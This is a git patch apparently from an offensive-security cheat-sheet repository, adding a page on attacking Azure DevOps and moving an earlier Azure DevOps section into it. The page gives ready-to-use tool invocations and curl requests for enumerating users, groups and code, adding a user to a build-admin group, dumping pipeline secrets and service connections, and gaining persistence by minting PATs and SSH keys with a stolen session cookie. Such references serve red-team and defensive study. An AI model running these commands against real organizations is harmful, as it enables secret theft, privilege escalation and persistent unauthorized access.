From 0b1fad6fde3222d5a39e0541b59c0b4d7a0ea12b Mon Sep 17 00:00:00 2001 From: Swissky <12152583+swisskyrepo@users.noreply.github.com> Date: Tue, 2 Jan 2024 15:17:22 +0100 Subject: [PATCH] Azure DevOps --- docs/cloud/azure/azure-services-devops.md | 143 ++++++++++++++++++++++ docs/cloud/azure/azure-services.md | 19 --- 2 files changed, 143 insertions(+), 19 deletions(-) create mode 100644 docs/cloud/azure/azure-services-devops.md diff --git a/docs/cloud/azure/azure-services-devops.md b/docs/cloud/azure/azure-services-devops.md new file mode 100644 index 0000000..5b8221d --- /dev/null +++ b/docs/cloud/azure/azure-services-devops.md @@ -0,0 +1,143 @@ +# Azure Services - Azure DevOps + +* [xforcered/ADOKit](https://github.com/xforcered/ADOKit) - Azure DevOps Services Attack Toolkit +* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab. + ```ps1 + # List all secrets from all projects + $ nord-stream.py devops --token "$PAT" --org myorg --list-secrets + + # Dump all secrets from all projects + $ nord-stream.py devops --token "$PAT" --org myorg + ``` + +## Authentication + +You can access an organization's Azure DevOps Services instance via https://dev.azure.com/{yourorganization}. + +* Username and Password +* Authentication Cookie `UserAuthentication`: `ADOKit.exe whoami /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization` +* Personal Access Token (PAT): `ADOKit.exe whoami /credential:patToken /url:https://dev.azure.com/YourOrganization` + ```ps1 + PAT="XXXXXXXXXXX" + organization="YOURORGANIZATION" + curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds + ``` + + +## Recon + +* Search files: `file:FileNameToSearch`, `file:Test* OR file:azure-pipelines*` + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YOURORGANIZATION/PROJECTNAME/_apis/git/repositories/REPOSITORYID/items?recursionLevel=Full&api-version=7.0' + ``` + +* Search code: `ADOKit.exe searchcode /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /search:"search term"` + ```ps1 + curl -i -s -k -X $'POST' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: almsearch.dev.azure.com' + -H $'Content-Length: 85' + -H $'Expect: 100-continue' + -H $'Connection: close' + --data-binary $'{\"searchText\": \"SEARCHTERM\", \"skipResults\":0,\"takeResults\":1000,\"isInstantSearch\":true}' + $'https://almsearch.dev.azure.com/YOURORGANIZATION/_apis/search/codeAdvancedQueryResults?api-version=7.0-preview' + ``` + +* Enumerate users + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/users?api-version=7.0' + ``` + +* Enumerate groups: `ADOKit.exe getgroupmembers /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /group:"search term"` + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: SOME_USER_AGENT' + -H $'Authorization: Basic BASE64ENCODEDPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YOURORGANIZATION/_apis/graph/groups?api-version=7.0' + ``` + +* Enumerate porject permissions: `ADOKit.exe getpermissions /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` + + +## Privilege Escalation + +* Adding User to Group: `ADOKit.exe addcollectionbuildadmin /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /user:"username"` + ```ps1 + curl -i -s -k -X $'PUT' + -H $'Content-Type: application/json' + -H $'User-Agent: Some User Agent' + -H $'Authorization: Basic base64EncodedPAT' + -H $'Host: vssps.dev.azure.com' + -H $'Content-Length: 0' + $'https://vssps.dev.azure.com/YourOrganization/_apis/graph/memberships/userDescriptor/groupDescriptor?api-version=7.0-preview.1' + ``` + +* Retrieve build variables and secrets: `ADOKit.exe getpipelinevars /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"`, `ADOKit.exe getpipelinesecrets /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json' + -H $'User-Agent: Some User Agent' + -H $'Authorization: Basic base64EncodedPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YourOrganization/ProjectName/_apis/build/Definitions/DefinitionIDNumber?api-version=7.0' + ``` + +* Retrieve Service Connection Information: `ADOKit.exe getserviceconnections /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /project:"project name"` + ```ps1 + curl -i -s -k -X $'GET' + -H $'Content-Type: application/json;api-version=5.0-preview.1' + -H $'User-Agent: Some User Agent' + -H $'Authorization: Basic base64EncodedPAT' + -H $'Host: dev.azure.com' + $'https://dev.azure.com/YourOrganization/YourProject/_apis/serviceendpoint/endpoints?api-version=7.0' + ``` + + +## Persistence + +* Create a PAT: `ADOKit.exe createpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization` + ```ps1 + curl -i -s -k -X $'POST' + -H $'Content-Type: application/json' + -H $'Accept: application/json;api-version=5.0-preview.1' + -H $'User-Agent: Some User Agent' + -H $'Host: dev.azure.com' + -H $'Content-Length: 234' + -H $'Expect: 100-continue' + -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie' + --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"PATName\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"targetAccounts\":[]}}}}}' + $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery' + ``` + +* Create SSH Keys: `ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh pub key"` + ```ps1 + curl -i -s -k -X $'POST' + -H $'Content-Type: application/json' + -H $'Accept: application/json;api-version=5.0-preview.1' + -H $'User-Agent: Some User Agent' + -H $'Host: dev.azure.com' + -H $'Content-Length: 856' + -H $'Expect: 100-continue' + -b $'X-VSS-UseRequestRouting=True; UserAuthentication=stolenCookie' + --data-binary $'{\"contributionIds\":[\"ms.vss-token-web.personal-accesstoken-issue-session-tokenprovider\"],\"dataProviderContext\":{\"properties\":{\"displayName\":\"SSHKeyName\",\"publicData\":\"public SSH key content\",\"validTo\":\"YYYY-MMDDT00:00:00.000Z\",\"scope\":\"app_token\",\"isPublic\":true,\"targetAccounts\":[\"organizationID\"]}}}}}' + $'https://dev.azure.com/YourOrganization/_apis/Contribution/HierarchyQuery' + ``` + + +## References + +* [Hiding in the Clouds: Abusing Azure DevOps Services to Bypass Microsoft Sentinel Analytic Rules - Brett Hawkins - November 6, 2023](https://www.ibm.com/downloads/cas/5JKAPVYD) \ No newline at end of file diff --git a/docs/cloud/azure/azure-services.md b/docs/cloud/azure/azure-services.md index 00bc5e2..f1f452e 100644 --- a/docs/cloud/azure/azure-services.md +++ b/docs/cloud/azure/azure-services.md @@ -216,25 +216,6 @@ az webapp create-remote-connection --subscription --resource-g ``` -## Azure Devops - -* Verify the validity of an Azure Personal Access Token (PAT) - ```ps1 - PAT="" - organization="" - curl -u :${PAT} https://dev.azure.com/${organization}/_apis/build-release/builds - ``` - -* [synacktiv/nord-stream](https://github.com/synacktiv/nord-stream) - Nord Stream is a tool that allows you to extract secrets stored inside CI/CD environments by deploying malicious pipelines. It currently supports Azure DevOps, GitHub and GitLab. - ```ps1 - # List all secrets from all projects - $ nord-stream.py devops --token "$PAT" --org myorg --list-secrets - - # Dump all secrets from all projects - $ nord-stream.py devops --token "$PAT" --org myorg - ``` - - ## Microsoft Intune * LAPS